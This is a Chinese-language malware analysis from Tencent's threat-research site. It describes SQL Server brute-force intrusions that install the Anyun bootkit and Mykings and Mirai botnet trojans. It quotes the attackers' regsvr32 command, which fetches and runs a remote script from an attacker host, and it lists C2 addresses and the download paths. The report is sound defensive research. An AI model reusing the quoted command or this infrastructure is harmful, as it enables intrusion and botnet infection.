产品中心
产品中心
基础安全
T-Sec 主机安全
容器安全服务 TCSS
T-Sec Web应用防火墙
T-Sec 云防火墙
T-Sec 安全运营中心
T-Sec iOA零信任安全管理系统
业务安全
T-Sec 天御验证码
T-Sec 天御文本内容安全
T-Sec 天御视频内容安全
T-Sec 全栈式风控引擎
T-Sec 手游安全
T-Sec 小程序安全
T-Sec 应用合规平台
数据安全
T-Sec 堡垒机
T-Sec 数据安全审计
T-Sec 云访问安全代理
T-Sec 凭据管理系统
T-Sec 密钥管理系统
T-Sec 云加密机
T-Sec 数据安全治理中心
安全服务
T-Sec 安全专家服务
一站式等保服务
T-Sec 安全托管服务
渗透测试服务
应急响应服务
重要时期安全保障服务
安全攻防对抗服务
了解全部安全产品→
解决方案
解决方案
通用解决方案
等保合规安全解决方案
直播安全解决方案
数据安全解决方案
品牌保护解决方案
高防云主机安全解决方案
腾讯安心平台解决方案
行业场景方案
游戏安全场景方案
电商安全场景方案
智慧零售场景方案
智慧出行场景方案
安全专项解决方案
勒索病毒专项解决方案
重大保障安全解决方案
NEW
最新动态
威胁研究
合作伙伴
更多
更多
关于我们
腾讯安全介绍
荣誉认证
帮助中心
帮助文档
考试认证
在线课堂
证书查询
联系我们
产品方案咨询
寻求市场合作
友情链接
腾讯云

威胁研究

正文

弱口令爆破SQL Server服务器暗云、Mykings、Mirai多个病毒家族结伴来袭

2018-12-28 07:21:05

近日腾讯御见威胁情报中心发现多起利用SQL Server弱密码进行暴力入侵的病毒攻击事件，用户机器中毒后会发现主流的杀毒软件一运行就会被强制结束。通过进一步的分析发现，被入侵的服务器被安装暗云感染器、以及多种木马，中招系统已成为Mykings、Mirai僵尸网络的一部分。

一、概述

本次病毒攻击事件主要有以下特点:

1. 通过MS SQL SEVER弱密码入侵用户机器成功后会执行远程脚本命令；

2. 远程脚本执行后会下载多个木马文件到本地执行包括暗云感染器、Mykings僵尸网络木马、Mirai僵尸网络木马。

3. 暗云木马和以往的暗云系列相比，主要变化包括会强制结束包括管家,360等杀软进程,随后注入应用层的payload会根据云端配置文件进行主页锁定及下载执行木马病毒等功能。该暗云木马和友商披露的暗云4行为较相似，可能出自同一病毒团伙；

4. 暗云木马和Mirai等多个僵尸网络木马进行捆绑传播，增加了查杀难度，此外暗云木马还会从云端下载执行Mykings僵尸网络木马，形成复杂的多个病毒木马互推混合感染的状况。

攻击者入侵下载安装木马的执行流程如下：

木马执行流程

从病毒感染数据看，该僵尸网络正在继续扩张中。

主要受害电脑各地均有分布，江苏、山东、广东位居前三。

Mirai僵尸网络由大量被感染的IoT设备（物联网设备，包括路由器、网络摄像头等）及PC组成，其危害主要是发起DDoS攻击，曾经在2016年造成美国大面积断网，影响数百万人。Mirai始作俑者已被抓获，但相关代码已被作者公开到Github，至今Mirai的危害并未消除。

MyKings僵尸网络2017 年 2月左右开始出现，该僵尸网络通过扫描SQL SERVER 、FTP及其他多个网络服务端口，尝试爆破攻击，使用永恒之蓝之类的攻击包在局域网内扩散渗透进入受害者主机，然后传播包括 DDoS、Proxy（代理服务）、RAT（远程控制木马）、Miner（挖矿木马）在内的多种不同用途的恶意代码。

二、入侵阶段

尝试通过MSQLSEVER弱密码入侵用户机器，在被入侵机器的事件日记里可以看到大量的sqlsver登录事件，入侵机器客户端ip为222.168.134.230。弱密码尝试登录成功后，用xp_cmdshell执行命令执行远程脚本命令

尝试弱密码暴力登录sqlsver

利用regsvr32执行远程脚本命令 /u /s /i: http://wmi.1217bye.host:8888/1.txt scrobj.dll

该txt文件为一个远程js脚本，js脚本里的字符都被用16进制进行替换，解密后的js脚本，其主要功能是下载木马文件并执行。

下载地址为Hxxp://174.128.239.250/xxx。从服务器下载3个木马文件并执行，分别为max.exe, s.exe , new.exe

远程js脚本

解密后的远程脚本

三、暗云感染器（max.exe）

该木马为暗云感染器，感染流程为：先将本地磁盘第1扇区的原始MBR备份到第二扇区，感染本地MBR，

将payload保存到3-63扇区。

被感染后的磁盘扇区布局 :

该MBR木马为暗云系列，从MBR到nt的劫持hook流程基本一致，具体细节可参考电脑管家前段时间披露的: 暗云系列Bootkit木马最新动态。

MBR木马在最后一个阶段hook 了ZwCreateSection，在获得执行机会后其主要功能为:

还原ZwCreateSection函数，随后将rootkit映射到内核空间并执行，最后跳转到ZwCreateSection继续执行。

ZwCrea teSection_hook函数主要功能

Rootkit主要功能为自保护, 对抗杀软，及注入系统进程联网下载payload执行下一阶段的恶意行为。

会根据不同的系统环境挂钩不同的底层函数IO, win732 挂钩RaUnitStartIO,过滤SRB请求以保护对MBR的读写操作。对抗杀软主要是通过枚举进程，当匹配到杀软进程名后会调用ZwTerminateProcess强制结束进程，包括360，管家及急救箱等杀软进程名都在其黑名单中。

对抗杀毒软件列表

调用KeInsertQueueApc将内核的一段解密后的payload通过APC的方式注入应用层，注入应用层的payload主要功能是联网下载第二阶段的payload并执行，

下载的c2地址保存在配置文件ntuser.dat中，解密后的C2地址为:208.110.71.194

apc注入应用层

第二阶段的payload其主要功能是从云端下载一配置文件，根据配置文件内容执行下一阶段的行为，配置文件下载地址为:208.110.71.194。目前配置有2个字段，url为主页劫持的网址暂未配置，exe为病毒木马的下载地址。目前该木马和入侵阶段下载的木马new.exe功能一致，为MyKings僵尸网络木马。

第二阶段payload云端配置文件

payload2 代码功能

四、僵尸网络木马（s.exe/new.exe）

下载的另外两个木马文件s.exe为Mirai僵尸网络木马，new.exe为Mykings僵尸网络木马

s.exe

Mirai僵尸网络木马运行后会访问网址http://223.25.247.240/ok/ups.html 获取服务器地址，目前返回的服务器地址为66.117.6.174，随后用该服务器地址拼接update.txt 获取更新配置文件，该配置文件上包含了Mirai僵尸网络木马的下载地址及文件名等信息，此外http://66.117.6.17/wpdmd5.txt 配置文件里包含了相关文件的hash值，该hash值和国外安全厂商披露的Mirai僵尸网络木马文件一致。